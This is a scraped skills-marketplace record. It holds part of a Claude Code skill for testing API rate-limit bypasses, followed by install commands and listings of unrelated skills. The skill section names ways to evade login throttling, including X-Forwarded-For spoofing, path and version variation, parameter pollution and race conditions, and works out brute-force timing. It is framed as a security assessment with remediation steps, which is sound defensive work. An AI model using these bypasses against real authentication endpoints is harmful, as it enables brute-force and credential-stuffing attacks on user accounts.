{results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n",{"name":5,"tags":60,"author":64,"domain":53,"license":15,"version":65,"nist_csf":66,"subdomain":51,"description":71,"mitre_attack":72},[51,50,61,62,63,46],"rate-limiting","throttling","brute-force","mahipal","1.0.0",[67,68,69,70],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps to OWASP API4:2023 Unrestricted Resource Consumption. Activates for requests involving rate limit bypass, API throttling evasion, brute force protection testing, or API abuse prevention assessment.\n",[73,74,75,76,77],"T1190","T1059.007","T1552.001","T1027","T1055","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":87,"prompt":97,"zipAvailable":98},[88,91,94],{"tool":89,"command":90},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-api-rate-limiting-bypass",{"tool":92,"command":93},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-api-rate-limiting-bypass",{"tool":95,"command":96},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-api-rate-limiting-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FSKILL.md",true,[100,105,111],{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FLICENSE",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fapi-reference.md","REFERENCE","参考文档",2210,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002Freferences\u002Fapi-reference.md",{"path":112,"resourceType":113,"resourceTypeDesc":114,"sizeBytes":115,"sourceHtmlUrl":116},"scripts\u002Fagent.py","SCRIPT","脚本",8983,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002Fscripts\u002Fagent.py",[118,157,166,175,197,223],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":137,"publishedAt":55},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[125,128,131,134],{"categoryNo":126,"categoryName":127,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":129,"categoryName":130,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":135,"categoryName":136,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000034","行政与办公人员",[120,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":158,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":165,"publishedAt":55},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[161,162,163,164],{"categoryNo":126,"categoryName":127,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":129,"categoryName":130,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":135,"categoryName":136,"taxonomyType":32,"taxonomyTypeDesc":33},[120,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156],{"skillNo":167,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":174,"publishedAt":55},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[170,171,172,173],{"categoryNo":126,"categoryName":127,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":129,"categoryName":130,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":132,"categoryName":133,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":135,"categoryName":136,"taxonomyType":32,"taxonomyTypeDesc":33},[120,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156],{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":55},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[182,183,184,185,186,187,188,189,190,191,192,193,194,195,196],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":204,"publishedAt":55},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[203],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[205,206,207,208,209,210,211,212,213,214,215,149,150,216,217,218,219,220,221,222],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":122,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":239,"publishedAt":55},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[229,232,235,236],{"categoryNo":230,"categoryName":231,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":233,"categoryName":234,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":237,"categoryName":238,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000036","内容创作者",[240,241,242,243,244,245,246,247,146,248,149,150,151,249,250,251,252,253,196,254],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]